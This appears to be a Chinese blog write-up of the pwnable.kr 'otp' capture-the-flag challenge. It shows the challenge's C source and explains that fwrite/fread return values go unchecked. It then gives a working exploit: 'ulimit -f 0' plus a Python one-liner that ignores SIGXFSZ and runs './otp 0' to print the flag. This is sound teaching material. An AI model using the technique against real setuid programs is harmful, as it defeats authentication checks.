当前位置: 代码迷 >> 综合 >> pwnable(otp)(open,read等函数的检查缺失)
  详细解决方案

pwnable(otp)(open,read等函数的检查缺失)

热度:65   发布时间:2023-12-13 04:51:59.0

远程拷贝文件到本地 scp -P 2222 otp@pwnable.kr:/home/otp/opt .

学习到的函数strtoul(argv[1], 0, 16)str转化位long,以16进制方式。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>int main(int argc, char* argv[]){char fname[128];unsigned long long otp[2];if(argc!=2){printf("usage : ./otp [passcode]\n");return 0;}int fd = open("/dev/urandom", O_RDONLY);if(fd==-1) exit(-1);if(read(fd, otp, 16)!=16) exit(-1);close(fd);sprintf(fname, "/tmp/%llu", otp[0]);FILE* fp = fopen(fname, "w");if(fp==NULL){ exit(-1); }fwrite(&otp[1], 8, 1, fp);fclose(fp);printf("OTP generated.\n");unsigned long long passcode=0;FILE* fp2 = fopen(fname, "r");if(fp2==NULL){ exit(-1); }fread(&passcode, 8, 1, fp2);fclose(fp2);if(strtoul(argv[1], 0, 16) == passcode){printf("Congratz!\n");system("/bin/cat flag");}else{printf("OTP mismatch\n");}unlink(fname);return 0;
}

程序生成了一个随机数放入文件,然后读取这个文件然后让这个文件跟输入的password进行比较相同获取shell。

这里可以观察到fread(&passcode, 8, 1, fp2);是没有验证是否成功的,如果能够打开文件成功但是读取文件中内容的时候失败就能获取shell。
接下来就是想办法控制完成这一条件
可以用ulimit
ulimit了解一下
在这里可以设置文件

otp@ubuntu:~$ ulimit -a
core file size          (blocks, -c) 0
data seg size           (kbytes, -d) 1500000
scheduling priority             (-e) 0
file size               (blocks, -f) 120000
pending signals                 (-i) 31753
max locked memory       (kbytes, -l) 64
max memory size         (kbytes, -m) unlimited
open files                      (-n) 1500
pipe size            (512 bytes, -p) 8
POSIX message queues     (bytes, -q) 819200
real-time priority              (-r) 0
stack size              (kbytes, -s) 8192
cpu time               (seconds, -t) unlimited
max user processes              (-u) 300
virtual memory          (kbytes, -v) unlimited
file locks                      (-x) unlimited
otp@ubuntu:~$ ulimit -f 0
otp@ubuntu:~$ ulimit -a
core file size          (blocks, -c) 0
data seg size           (kbytes, -d) 1500000
scheduling priority             (-e) 0
file size               (blocks, -f) 0
pending signals                 (-i) 31753
max locked memory       (kbytes, -l) 64
max memory size         (kbytes, -m) unlimited
open files                      (-n) 1500
pipe size            (512 bytes, -p) 8
POSIX message queues     (bytes, -q) 819200
real-time priority              (-r) 0
stack size              (kbytes, -s) 8192
cpu time               (seconds, -t) unlimited
max user processes              (-u) 300
virtual memory          (kbytes, -v) unlimited
file locks                      (-x) unlimited

设置shell所能创建的最大文件为0
但是这个时候执行的时候会报错

otp@ubuntu:~$ ./otp 0
File size limit exceeded

这个错误是作为信号进行传播的,linux系统中信号是可以被忽略的

import signal
signal.signal(signal.SIGXFSZ,signal.SIG_IGN)

可以在python的交互窗口中获取shell

>> import os,signal
>>> signal.signal(signal.SIGXFSZ,signal.SIG_IGN)
1
>>> os.system('./otp 0')
OTP generated.
Congratz!
Darn... I always forget to check the return value of fclose() :(
0

但是我们还可以直接用一条命令来输出

ulimit -f 0 && python -c "import os,signal; signal.signal(signal.SIGXFSZ,signal.SIG_IGN); os.system('./otp 0')"

分析:设置ulimit -f 0使fwrite(&otp[1], 8, 1, fp);失败,创建的文件中数据写入失败读取出来的就是0

总结:liunx信号可以忽略,ulimit可以控制进程分佩的资源。
参考:https://nickcano.com/pwnables-write-ups-oct17/

  相关解决方案